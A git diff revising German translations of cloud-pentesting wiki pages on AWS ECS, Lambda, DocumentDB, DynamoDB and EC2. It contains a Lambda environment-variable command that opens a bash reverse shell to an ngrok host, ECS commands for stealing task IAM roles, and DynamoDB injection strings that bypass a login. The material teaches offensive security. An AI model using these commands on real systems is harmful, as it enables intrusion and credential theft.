https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
{{#endref}}
|
||||
|
||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||
|
||||
@@ -13,14 +13,14 @@ Für weitere Informationen siehe:
|
||||
### Host IAM-Rollen
|
||||
|
||||
In ECS kann eine **IAM-Rolle der Aufgabe** zugewiesen werden, die innerhalb des Containers ausgeführt wird. **Wenn** die Aufgabe innerhalb einer **EC2**-Instanz ausgeführt wird, hat die **EC2-Instanz** eine **andere IAM**-Rolle, die ihr zugeordnet ist.\
|
||||
Das bedeutet, dass, wenn es Ihnen gelingt, eine ECS-Instanz zu **kompromittieren**, Sie potenziell die **IAM-Rolle, die mit dem ECR und der EC2-Instanz verbunden ist, erhalten können**. Für weitere Informationen darüber, wie Sie diese Anmeldeinformationen erhalten können, siehe:
|
||||
Das bedeutet, dass, wenn es Ihnen gelingt, eine ECS-Instanz zu **kompromittieren**, Sie potenziell die **IAM-Rolle, die mit dem ECR und der EC2-Instanz verbunden ist, erhalten können**. Für weitere Informationen, wie Sie diese Anmeldeinformationen erhalten können, siehe:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> Beachten Sie, dass, wenn die EC2-Instanz IMDSv2 durchsetzt, [**laut den Dokumenten**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html) die **Antwort der PUT-Anfrage** ein **Hop-Limit von 1** haben wird, was es unmöglich macht, auf die EC2-Metadaten von einem Container innerhalb der EC2-Instanz zuzugreifen.
|
||||
> Beachten Sie, dass, wenn die EC2-Instanz IMDSv2 durchsetzt, [**laut den Dokumenten**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), die **Antwort der PUT-Anfrage** ein **Hop-Limit von 1** haben wird, was es unmöglich macht, auf die EC2-Metadaten von einem Container innerhalb der EC2-Instanz zuzugreifen.
|
||||
|
||||
### Privesc zum Knoten, um Anmeldeinformationen und Geheimnisse anderer Container zu stehlen
|
||||
|
||||
@@ -28,12 +28,12 @@ Darüber hinaus verwendet EC2 Docker, um ECS-Aufgaben auszuführen. Wenn Sie als
|
||||
|
||||
#### Container auf dem aktuellen Host ausführen
|
||||
|
||||
Darüber hinaus hat die **EC2-Instanzrolle** normalerweise genügend **Berechtigungen**, um den **Zustand der Containerinstanz** der EC2-Instanzen, die als Knoten im Cluster verwendet werden, zu **aktualisieren**. Ein Angreifer könnte den **Zustand einer Instanz auf DRAINING** ändern, dann wird ECS **alle Aufgaben von ihr entfernen** und die, die als **REPLICA** ausgeführt werden, werden **in einer anderen Instanz ausgeführt,** möglicherweise innerhalb der **Instanz des Angreifers**, sodass er **ihre IAM-Rollen** und potenziell sensible Informationen aus dem Container stehlen kann.
|
||||
Darüber hinaus hat die **EC2-Instanzrolle** normalerweise genügend **Berechtigungen**, um den **Zustand der Containerinstanz** der EC2-Instanzen, die als Knoten im Cluster verwendet werden, zu **aktualisieren**. Ein Angreifer könnte den **Zustand einer Instanz auf DRAINING** ändern, dann wird ECS **alle Aufgaben von ihr entfernen** und die, die als **REPLICA** ausgeführt werden, werden **in einer anderen Instanz ausgeführt**, möglicherweise innerhalb der **Instanz des Angreifers**, sodass er **ihre IAM-Rollen** und potenziell sensible Informationen aus dem Container stehlen kann.
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
Die gleiche Technik kann durch **das Abmelden der EC2-Instanz vom Cluster** durchgeführt werden. Dies ist potenziell weniger heimlich, aber es wird **die Aufgaben zwingen, auf anderen Instanzen ausgeführt zu werden:**
|
||||
Die gleiche Technik kann durch **Deregistrierung der EC2-Instanz aus dem Cluster** durchgeführt werden. Dies ist potenziell weniger heimlich, aber es wird **die Aufgaben zwingen, auf anderen Instanzen ausgeführt zu werden:**
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
|
||||
@@ -99,7 +99,7 @@ aws lambda create-function --function-name my_function \
|
||||
--handler lambda_function.lambda_handler \
|
||||
--zip-file fileb://rev.zip
|
||||
```
|
||||
Wenn DynamoDB bereits in der AWS-Umgebung aktiv ist, muss der Benutzer nur **die Ereignisquellenzuordnung** für die Lambda-Funktion festlegen. Wenn DynamoDB jedoch nicht verwendet wird, muss der Benutzer **eine neue Tabelle** mit aktivierten Streaming erstellen:
|
||||
Wenn DynamoDB bereits in der AWS-Umgebung aktiv ist, muss der Benutzer nur **die Ereignisquellenzuordnung** für die Lambda-Funktion festlegen. Wenn DynamoDB jedoch nicht verwendet wird, muss der Benutzer **eine neue Tabelle** mit aktivierten Streams erstellen:
|
||||
```bash
|
||||
aws dynamodb create-table --table-name my_table \
|
||||
--attribute-definitions AttributeName=Test,AttributeType=S \
|
||||
@@ -107,13 +107,13 @@ aws dynamodb create-table --table-name my_table \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
|
||||
```
|
||||
Jetzt ist es möglich, **die Lambda-Funktion mit der DynamoDB-Tabelle zu verbinden**, indem **eine Ereignisquellenzuordnung erstellt wird**:
|
||||
Jetzt ist es möglich, **die Lambda-Funktion mit der DynamoDB-Tabelle zu verbinden**, indem **eine Ereignisquellenzuordnung** erstellt wird:
|
||||
```bash
|
||||
aws lambda create-event-source-mapping --function-name my_function \
|
||||
--event-source-arn <arn_of_dynamodb_table_stream> \
|
||||
--enabled --starting-position LATEST
|
||||
```
|
||||
Mit der mit dem DynamoDB-Stream verknüpften Lambda-Funktion kann der Angreifer **indirekt die Lambda auslösen, indem er den DynamoDB-Stream aktiviert**. Dies kann erreicht werden, indem man **ein Element** in die DynamoDB-Tabelle einfügt:
|
||||
Mit der Lambda-Funktion, die mit dem DynamoDB-Stream verknüpft ist, kann der Angreifer **indirekt die Lambda auslösen, indem er den DynamoDB-Stream aktiviert**. Dies kann erreicht werden, indem man **ein Element** in die DynamoDB-Tabelle einfügt:
|
||||
```bash
|
||||
aws dynamodb put-item --table-name my_table \
|
||||
--item Test={S="Random string"}
|
||||
@@ -144,7 +144,7 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
|
||||
### `lambda:UpdateFunctionCode`
|
||||
|
||||
Benutzer, die die Berechtigung **`lambda:UpdateFunctionCode`** besitzen, haben die Möglichkeit, **den Code einer bestehenden Lambda-Funktion, die mit einer IAM-Rolle verknüpft ist, zu ändern.**\
|
||||
Der Angreifer kann **den Code der Lambda-Funktion ändern, um die IAM-Anmeldeinformationen zu exfiltrieren**.
|
||||
Der Angreifer kann **den Code der Lambda-Funktion ändern, um die IAM-Anmeldeinformationen zu exfiltrieren.**
|
||||
|
||||
Obwohl der Angreifer möglicherweise nicht die direkte Fähigkeit hat, die Funktion aufzurufen, ist es wahrscheinlich, dass die Lambda-Funktion, wenn sie bereits vorhanden und betriebsbereit ist, durch bestehende Workflows oder Ereignisse ausgelöst wird, wodurch die Ausführung des modifizierten Codes indirekt erleichtert wird.
|
||||
```bash
|
||||
@@ -163,14 +163,14 @@ aws lambda invoke --function-name my_function output.txt
|
||||
|
||||
#### RCE über Umgebungsvariablen
|
||||
|
||||
Mit diesen Berechtigungen ist es möglich, Umgebungsvariablen hinzuzufügen, die dazu führen, dass die Lambda willkürlichen Code ausführt. Zum Beispiel ist es in Python möglich, die Umgebungsvariablen `PYTHONWARNING` und `BROWSER` auszunutzen, um einen Python-Prozess willkürliche Befehle ausführen zu lassen:
|
||||
Mit diesen Berechtigungen ist es möglich, Umgebungsvariablen hinzuzufügen, die dazu führen, dass die Lambda beliebigen Code ausführt. Zum Beispiel ist es in Python möglich, die Umgebungsvariablen `PYTHONWARNING` und `BROWSER` auszunutzen, um einen Python-Prozess dazu zu bringen, beliebige Befehle auszuführen:
|
||||
```bash
|
||||
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
|
||||
```
|
||||
Für andere Skriptsprachen gibt es andere Umgebungsvariablen, die Sie verwenden können. Für weitere Informationen überprüfen Sie die Unterabschnitte der Skriptsprachen in:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse
|
||||
https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
|
||||
{{#endref}}
|
||||
|
||||
#### RCE über Lambda Layers
|
||||
@@ -185,7 +185,7 @@ import sys
|
||||
def lambda_handler(event, context):
|
||||
print(json.dumps(sys.path, indent=2))
|
||||
```
|
||||
Dies sind die Orte:
|
||||
Diese sind die Orte:
|
||||
|
||||
1. /var/task
|
||||
2. /opt/python/lib/python3.7/site-packages
|
||||
@@ -230,7 +230,7 @@ aws lambda update-function-configuration \
|
||||
```
|
||||
Der nächste Schritt wäre, entweder **die Funktion selbst aufzurufen**, wenn wir können, oder zu warten, bis sie auf normale Weise **aufgerufen wird** – was die sicherere Methode ist.
|
||||
|
||||
Eine **stealthier Methode, um diese Schwachstelle auszunutzen**, findet sich in:
|
||||
Eine **diskretere Möglichkeit, diese Schwachstelle auszunutzen**, findet sich in:
|
||||
|
||||
{{#ref}}
|
||||
../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
|
||||
@@ -240,11 +240,11 @@ Eine **stealthier Methode, um diese Schwachstelle auszunutzen**, findet sich in:
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
|
||||
|
||||
Vielleicht kannst du mit diesen Berechtigungen eine Funktion erstellen und sie aufrufen, indem du die URL verwendest... aber ich konnte keinen Weg finden, um es zu testen, also lass es mich wissen, wenn du es tust!
|
||||
Vielleicht kannst du mit diesen Berechtigungen eine Funktion erstellen und sie aufrufen, indem du die URL verwendest... aber ich konnte keinen Weg finden, dies zu testen, also lass es mich wissen, wenn du es tust!
|
||||
|
||||
### Lambda MitM
|
||||
|
||||
Einige Lambdas werden **sensible Informationen von den Benutzern in Parametern empfangen.** Wenn du RCE in einem von ihnen erhältst, kannst du die Informationen, die andere Benutzer an sie senden, exfiltrieren, siehe dazu:
|
||||
Einige Lambdas werden **sensible Informationen von den Benutzern in Parametern empfangen.** Wenn du RCE in einem von ihnen erhältst, kannst du die Informationen, die andere Benutzer senden, exfiltrieren, siehe dazu:
|
||||
|
||||
{{#ref}}
|
||||
../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## DocumentDB
|
||||
|
||||
Amazon DocumentDB, das Kompatibilität mit MongoDB bietet, wird als **schneller, zuverlässiger und vollständig verwalteter Datenbankdienst** präsentiert. Entwickelt für Einfachheit in Bereitstellung, Betrieb und Skalierbarkeit, ermöglicht es die **nahtlose Migration und den Betrieb von MongoDB-kompatiblen Datenbanken in der Cloud**. Benutzer können diesen Dienst nutzen, um ihren bestehenden Anwendungscode auszuführen und vertraute Treiber und Tools zu verwenden, was einen reibungslosen Übergang und Betrieb ähnlich wie bei der Arbeit mit MongoDB gewährleistet.
|
||||
Amazon DocumentDB, das Kompatibilität mit MongoDB bietet, wird als **schneller, zuverlässiger und vollständig verwalteter Datenbankdienst** präsentiert. Entwickelt für Einfachheit in Bereitstellung, Betrieb und Skalierbarkeit, ermöglicht es die **nahtlose Migration und den Betrieb von MongoDB-kompatiblen Datenbanken in der Cloud**. Benutzer können diesen Dienst nutzen, um ihren vorhandenen Anwendungscode auszuführen und vertraute Treiber und Tools zu verwenden, was einen reibungslosen Übergang und Betrieb ähnlich wie bei der Arbeit mit MongoDB gewährleistet.
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
@@ -24,7 +24,7 @@ aws --region us-east-1 --profile ad docdb describe-db-cluster-snapshot-attribute
|
||||
Da DocumentDB eine mit MongoDB kompatible Datenbank ist, können Sie sich vorstellen, dass sie auch anfällig für gängige NoSQL-Injection-Angriffe ist:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/nosql-injection
|
||||
https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html
|
||||
{{#endref}}
|
||||
|
||||
### DocumentDB
|
||||
|
||||
@@ -18,7 +18,7 @@ Standardmäßig verwendet DynamoDB einen KMS-Schlüssel, der **zu Amazon DynamoD
|
||||
|
||||
### Backups & Export nach S3
|
||||
|
||||
Es ist möglich, die **Erstellung von Tabellen-Backups** zu **planen** oder sie **auf Anfrage** zu erstellen. Darüber hinaus ist es auch möglich, **Point-in-Time Recovery (PITR) für eine Tabelle zu aktivieren.** Die Point-in-Time-Wiederherstellung bietet kontinuierliche **Backups** Ihrer DynamoDB-Daten für **35 Tage**, um Sie vor versehentlichen Schreib- oder Löschvorgängen zu schützen.
|
||||
Es ist möglich, die **Erstellung von Tabellen-Backups** zu **planen** oder sie **auf Anfrage** zu erstellen. Darüber hinaus ist es auch möglich, **Point-in-Time Recovery (PITR) für eine Tabelle zu aktivieren.** Die Wiederherstellung zu einem bestimmten Zeitpunkt bietet kontinuierliche **Backups** Ihrer DynamoDB-Daten für **35 Tage**, um Sie vor versehentlichen Schreib- oder Löschvorgängen zu schützen.
|
||||
|
||||
Es ist auch möglich, **die Daten einer Tabelle nach S3 zu exportieren**, aber die Tabelle muss **PITR aktiviert** haben.
|
||||
|
||||
@@ -26,7 +26,7 @@ Es ist auch möglich, **die Daten einer Tabelle nach S3 zu exportieren**, aber d
|
||||
|
||||
Es gibt eine GUI für lokale Dynamo-Dienste wie [DynamoDB Local](https://aws.amazon.com/blogs/aws/dynamodb-local-for-desktop-development/), [dynalite](https://github.com/mhart/dynalite), [localstack](https://github.com/localstack/localstack) usw., die nützlich sein könnte: [https://github.com/aaronshaf/dynamodb-admin](https://github.com/aaronshaf/dynamodb-admin)
|
||||
|
||||
### Aufzählung
|
||||
### Enumeration
|
||||
```bash
|
||||
# Tables
|
||||
aws dynamodb list-tables
|
||||
@@ -84,18 +84,18 @@ aws dynamodb describe-endpoints #Dynamodb endpoints
|
||||
Es gibt Möglichkeiten, auf DynamoDB-Daten mit **SQL-Syntax** zuzugreifen, daher sind typische **SQL-Injektionen ebenfalls möglich**.
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/sql-injection
|
||||
https://book.hacktricks.wiki/en/pentesting-web/sql-injection/index.html
|
||||
{{#endref}}
|
||||
|
||||
### NoSQL Injection
|
||||
|
||||
In DynamoDB können verschiedene **Bedingungen** verwendet werden, um Daten abzurufen. Wie bei einer gängigen NoSQL-Injektion, wenn es möglich ist, **mehrere Bedingungen zu verketten, um** Daten abzurufen, könnten Sie versteckte Daten (oder die gesamte Tabelle dumpen) erhalten.\
|
||||
In DynamoDB können verschiedene **Bedingungen** verwendet werden, um Daten abzurufen. Wie bei einer gängigen NoSQL-Injektion, wenn es möglich ist, **mehrere Bedingungen zu verketten, um** Daten abzurufen, könnten Sie versteckte Daten (oder die gesamte Tabelle dumpen).\
|
||||
Hier finden Sie die von DynamoDB unterstützten Bedingungen: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)
|
||||
|
||||
Beachten Sie, dass **verschiedene Bedingungen** unterstützt werden, wenn auf die Daten über **`query`** oder über **`scan`** zugegriffen wird.
|
||||
|
||||
> [!NOTE]
|
||||
> Tatsächlich müssen **Query**-Aktionen die **Bedingung "EQ" (gleich)** im **primären** Schlüssel angeben, um zu funktionieren, was sie viel **weniger anfällig für NoSQL-Injektionen** macht (und auch die Operation sehr eingeschränkt).
|
||||
> Tatsächlich müssen **Query**-Aktionen die **Bedingung "EQ" (gleich)** im **primären** Schlüssel angeben, damit sie funktionieren, was sie viel **weniger anfällig für NoSQL-Injektionen** macht (und auch die Operation sehr eingeschränkt).
|
||||
|
||||
Wenn Sie die **Vergleichsoperation** ändern oder neue hinzufügen können, könnten Sie mehr Daten abrufen.
|
||||
```bash
|
||||
@@ -105,7 +105,7 @@ Wenn Sie die **Vergleichsoperation** ändern oder neue hinzufügen können, kön
|
||||
"GT": " " #All strings are greater than a space
|
||||
```
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/nosql-injection
|
||||
https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html
|
||||
{{#endref}}
|
||||
|
||||
### Rohes Json-Injection
|
||||
@@ -113,9 +113,9 @@ https://book.hacktricks.xyz/pentesting-web/nosql-injection
|
||||
> [!CAUTION]
|
||||
> **Diese Schwachstelle basiert auf dem dynamodb Scan Filter, der jetzt veraltet ist!**
|
||||
|
||||
**DynamoDB** akzeptiert **Json**-Objekte, um nach Daten in der DB zu **suchen**. Wenn Sie feststellen, dass Sie im json-Objekt, das zum Suchen gesendet wird, schreiben können, könnten Sie die DB dumpen, alle Inhalte.
|
||||
**DynamoDB** akzeptiert **Json**-Objekte, um **Daten** in der DB zu **suchen**. Wenn Sie feststellen, dass Sie im Json-Objekt, das zum Suchen gesendet wird, schreiben können, könnten Sie die DB dumpen, alle Inhalte.
|
||||
|
||||
Zum Beispiel, injizieren in eine Anfrage wie:
|
||||
Zum Beispiel, indem Sie in eine Anfrage injizieren wie:
|
||||
```bash
|
||||
'{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}'
|
||||
```
|
||||
@@ -123,7 +123,7 @@ Ein Angreifer könnte etwas injizieren wie:
|
||||
|
||||
`1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0`
|
||||
|
||||
Beheben Sie die "EQ"-Bedingung, indem Sie nach der ID 1000 suchen und dann nach allen Daten mit einer ID-Zeichenfolge, die größer als 0 ist, was alles ist.
|
||||
Beheben Sie die "EQ"-Bedingung, die nach der ID 1000 sucht, und suchen Sie dann nach allen Daten mit einer ID-Zeichenfolge größer als 0, was alles ist.
|
||||
|
||||
Ein weiteres **anfälliges Beispiel mit einem Login** könnte sein:
|
||||
```python
|
||||
@@ -152,9 +152,9 @@ Einige SDKs erlauben die Verwendung eines Strings, der die durchzuführende Filt
|
||||
```java
|
||||
new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap)
|
||||
```
|
||||
Sie müssen wissen, dass das Suchen in DynamoDB zum **Ersetzen** eines Attributs **werts** in **Filterausdrücken** beim Scannen der Elemente, die Tokens mit dem **`:`**-Zeichen **beginnen** sollten. Solche Tokens werden zur Laufzeit mit dem tatsächlichen **Attributwert** **ersetzt**.
|
||||
Sie müssen wissen, dass beim Suchen in DynamoDB zum **Ersetzen** eines Attributs **wertes** in **Filterausdrücken** während des Scannens der Elemente die Tokens mit dem **`:`**-Zeichen **beginnen** sollten. Solche Tokens werden zur Laufzeit mit dem tatsächlichen **Attributwert** **ersetzt**.
|
||||
|
||||
Daher kann ein Login wie das vorherige mit etwas wie folgt umgangen werden:
|
||||
Daher kann ein Login wie das vorherige mit etwas wie folgendem umgangen werden:
|
||||
```bash
|
||||
:username = :username or :username
|
||||
# This will generate the query:
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## VPC & Networking
|
||||
|
||||
Erfahren Sie, was ein VPC ist und welche Komponenten es hat in:
|
||||
Erfahren Sie, was eine VPC ist und welche Komponenten sie hat in:
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-and-networking-basic-information.md
|
||||
@@ -27,21 +27,21 @@ Interessante Dinge, die in EC2 aufgezählt werden können:
|
||||
- Offene Ports
|
||||
- Integrierte Verbindungen zu anderen Netzwerken außerhalb von AWS
|
||||
|
||||
### Instanzprofile
|
||||
### Instance Profiles
|
||||
|
||||
Die Verwendung von **Rollen**, um Berechtigungen für Anwendungen zu gewähren, die auf **EC2-Instanzen** ausgeführt werden, erfordert eine zusätzliche Konfiguration. Eine Anwendung, die auf einer EC2-Instanz ausgeführt wird, ist durch das virtualisierte Betriebssystem von AWS abstrahiert. Aufgrund dieser zusätzlichen Trennung benötigen Sie einen zusätzlichen Schritt, um eine AWS-Rolle und die zugehörigen Berechtigungen einer EC2-Instanz zuzuweisen und sie ihren Anwendungen zur Verfügung zu stellen.
|
||||
Die Verwendung von **Rollen**, um Berechtigungen für Anwendungen zu gewähren, die auf **EC2-Instanzen** ausgeführt werden, erfordert eine zusätzliche Konfiguration. Eine Anwendung, die auf einer EC2-Instanz läuft, ist durch das virtualisierte Betriebssystem von AWS abstrahiert. Aufgrund dieser zusätzlichen Trennung ist ein zusätzlicher Schritt erforderlich, um eine AWS-Rolle und die zugehörigen Berechtigungen einer EC2-Instanz zuzuweisen und sie ihren Anwendungen zur Verfügung zu stellen.
|
||||
|
||||
Dieser zusätzliche Schritt ist die **Erstellung eines** [_**Instanzprofils**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html), das an die Instanz angehängt ist. Das **Instanzprofil enthält die Rolle und** kann die temporären Anmeldeinformationen der Rolle einer Anwendung, die auf der Instanz ausgeführt wird, bereitstellen. Diese temporären Anmeldeinformationen können dann in den API-Aufrufen der Anwendung verwendet werden, um auf Ressourcen zuzugreifen und den Zugriff nur auf die Ressourcen zu beschränken, die die Rolle angibt. Beachten Sie, dass **nur eine Rolle gleichzeitig einer EC2-Instanz zugewiesen werden kann**, und alle Anwendungen auf der Instanz teilen sich dieselbe Rolle und Berechtigungen.
|
||||
Dieser zusätzliche Schritt ist die **Erstellung eines** [_**Instance Profiles**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html), das an die Instanz angehängt ist. Das **Instance Profile enthält die Rolle und** kann die temporären Anmeldeinformationen der Rolle einer Anwendung, die auf der Instanz läuft, zur Verfügung stellen. Diese temporären Anmeldeinformationen können dann in den API-Aufrufen der Anwendung verwendet werden, um auf Ressourcen zuzugreifen und den Zugriff nur auf die Ressourcen zu beschränken, die die Rolle angibt. Beachten Sie, dass **nur eine Rolle gleichzeitig einer EC2-Instanz zugewiesen werden kann**, und alle Anwendungen auf der Instanz teilen sich dieselbe Rolle und Berechtigungen.
|
||||
|
||||
### Metadaten-Endpunkt
|
||||
### Metadata Endpoint
|
||||
|
||||
AWS EC2-Metadaten sind Informationen über eine Amazon Elastic Compute Cloud (EC2)-Instanz, die der Instanz zur Laufzeit zur Verfügung stehen. Diese Metadaten werden verwendet, um Informationen über die Instanz bereitzustellen, wie z. B. ihre Instanz-ID, die Verfügbarkeitszone, in der sie ausgeführt wird, die IAM-Rolle, die mit der Instanz verknüpft ist, und den Hostnamen der Instanz.
|
||||
AWS EC2-Metadaten sind Informationen über eine Amazon Elastic Compute Cloud (EC2)-Instanz, die der Instanz zur Laufzeit zur Verfügung stehen. Diese Metadaten werden verwendet, um Informationen über die Instanz bereitzustellen, wie z. B. ihre Instanz-ID, die Verfügbarkeitszone, in der sie läuft, die IAM-Rolle, die mit der Instanz verbunden ist, und den Hostnamen der Instanz.
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
### Aufzählung
|
||||
### Enumeration
|
||||
```bash
|
||||
# Get EC2 instances
|
||||
aws ec2 describe-instances
|
||||
@@ -149,7 +149,7 @@ Auf der folgenden Seite können Sie überprüfen, wie man **EC2-Berechtigungen m
|
||||
|
||||
## EBS
|
||||
|
||||
Amazon **EBS** (Elastic Block Store) **Snapshots** sind im Grunde statische **Backups** von AWS EBS-Volumes. Mit anderen Worten, sie sind **Kopien** der **Festplatten**, die zu einer **EC2**-Instanz zu einem bestimmten Zeitpunkt verbunden sind. EBS-Snapshots können über Regionen und Konten hinweg kopiert oder sogar heruntergeladen und lokal ausgeführt werden.
|
||||
Amazon **EBS** (Elastic Block Store) **Snapshots** sind im Grunde statische **Backups** von AWS EBS-Volumes. Mit anderen Worten, sie sind **Kopien** der **Festplatten**, die zu einem bestimmten Zeitpunkt an einer **EC2**-Instanz angeschlossen sind. EBS-Snapshots können über Regionen und Konten hinweg kopiert oder sogar heruntergeladen und lokal ausgeführt werden.
|
||||
|
||||
Snapshots können **sensible Informationen** wie **Quellcode oder API-Schlüssel** enthalten, daher wird empfohlen, sie zu überprüfen, wenn Sie die Möglichkeit dazu haben.
|
||||
|
||||
@@ -167,7 +167,7 @@ Auf der folgenden Seite können Sie überprüfen, wie man **EBS-Berechtigungen m
|
||||
|
||||
## SSM
|
||||
|
||||
**Amazon Simple Systems Manager (SSM)** ermöglicht die remote Verwaltung von EC2-Instanzen, um deren Verwaltung erheblich zu erleichtern. Jede dieser Instanzen muss den **SSM-Agentdienst ausführen, da dieser die Aktionen erhält und sie** über die AWS-API ausführt.
|
||||
**Amazon Simple Systems Manager (SSM)** ermöglicht die remote Verwaltung von EC2-Instanzen, um deren Verwaltung erheblich zu erleichtern. Jede dieser Instanzen muss den **SSM-Agentdienst ausführen, da dieser die Aktionen erhält und sie über die AWS-API ausführt**.
|
||||
|
||||
Der **SSM-Agent** ermöglicht es dem Systems Manager, diese Ressourcen zu aktualisieren, zu verwalten und zu konfigurieren. Der Agent **verarbeitet Anfragen vom Systems Manager-Dienst in der AWS-Cloud** und führt sie dann gemäß der Anfrage aus.
|
||||
|
||||
@@ -188,7 +188,7 @@ ps aux | grep amazon-ssm
|
||||
```
|
||||
### Privesc
|
||||
|
||||
Auf der folgenden Seite können Sie überprüfen, wie Sie **SSM-Berechtigungen missbrauchen, um Privilegien zu eskalieren**:
|
||||
Auf der folgenden Seite können Sie überprüfen, wie man **SSM-Berechtigungen missbraucht, um Privilegien zu eskalieren**:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-ssm-privesc.md
|
||||
@@ -228,9 +228,9 @@ aws autoscaling describe-load-balancers
|
||||
```
|
||||
## Nitro
|
||||
|
||||
AWS Nitro ist eine Suite von **innovativen Technologien**, die die zugrunde liegende Plattform für AWS EC2-Instanzen bilden. Von Amazon eingeführt, um **Sicherheit, Leistung und Zuverlässigkeit** zu **verbessern**, nutzt Nitro maßgeschneiderte **Hardwarekomponenten und einen leichten Hypervisor**. Es abstrahiert viele der traditionellen Virtualisierungsfunktionen auf dedizierte Hardware und Software, **minimiert die Angriffsfläche** und verbessert die Ressourceneffizienz. Durch das Auslagern von Virtualisierungsfunktionen ermöglicht Nitro EC2-Instanzen, **nahezu Bare-Metal-Leistung** zu liefern, was es besonders vorteilhaft für ressourcenintensive Anwendungen macht. Darüber hinaus gewährleistet der Nitro Security Chip speziell die **Sicherheit der Hardware und Firmware** und festigt somit seine robuste Architektur.
|
||||
AWS Nitro ist eine Suite von **innovativen Technologien**, die die zugrunde liegende Plattform für AWS EC2-Instanzen bilden. Von Amazon eingeführt, um **Sicherheit, Leistung und Zuverlässigkeit** zu **verbessern**, nutzt Nitro maßgeschneiderte **Hardwarekomponenten und einen leichten Hypervisor**. Es abstrahiert einen Großteil der traditionellen Virtualisierungsfunktionen auf dedizierte Hardware und Software, **minimiert die Angriffsfläche** und verbessert die Ressourceneffizienz. Durch das Auslagern von Virtualisierungsfunktionen ermöglicht Nitro EC2-Instanzen, **nahezu Bare-Metal-Leistung** zu liefern, was es besonders vorteilhaft für ressourcenintensive Anwendungen macht. Darüber hinaus gewährleistet der Nitro Security Chip speziell die **Sicherheit der Hardware und Firmware** und festigt somit seine robuste Architektur.
|
||||
|
||||
Erhalten Sie weitere Informationen und wie Sie es enumerieren können von:
|
||||
Erfahren Sie mehr Informationen und wie man es enumeriert von:
|
||||
|
||||
{{#ref}}
|
||||
aws-nitro-enum.md
|
||||
@@ -238,32 +238,32 @@ aws-nitro-enum.md
|
||||
|
||||
## VPN
|
||||
|
||||
Ein VPN ermöglicht die Verbindung Ihres **On-Premise-Netzwerks (Site-to-Site VPN)** oder der **Mitarbeiter-Laptops (Client VPN)** mit einer **AWS VPC**, sodass Dienste ohne Exposition gegenüber dem Internet genutzt werden können.
|
||||
Ein VPN ermöglicht es, Ihr **lokales Netzwerk (Site-to-Site VPN)** oder die **Laptop der Mitarbeiter (Client VPN)** mit einer **AWS VPC** zu verbinden, sodass Dienste ohne Notwendigkeit, sie dem Internet auszusetzen, zugegriffen werden kann.
|
||||
|
||||
#### Grundlegende AWS VPN-Komponenten
|
||||
|
||||
1. **Customer Gateway**:
|
||||
- Ein Customer Gateway ist eine Ressource, die Sie in AWS erstellen, um Ihre Seite einer VPN-Verbindung darzustellen.
|
||||
- Es ist im Wesentlichen ein physisches Gerät oder eine Softwareanwendung auf Ihrer Seite der Site-to-Site VPN-Verbindung.
|
||||
- Sie geben Routinginformationen und die öffentliche IP-Adresse Ihres Netzwerkgeräts (wie einen Router oder eine Firewall) an AWS weiter, um ein Customer Gateway zu erstellen.
|
||||
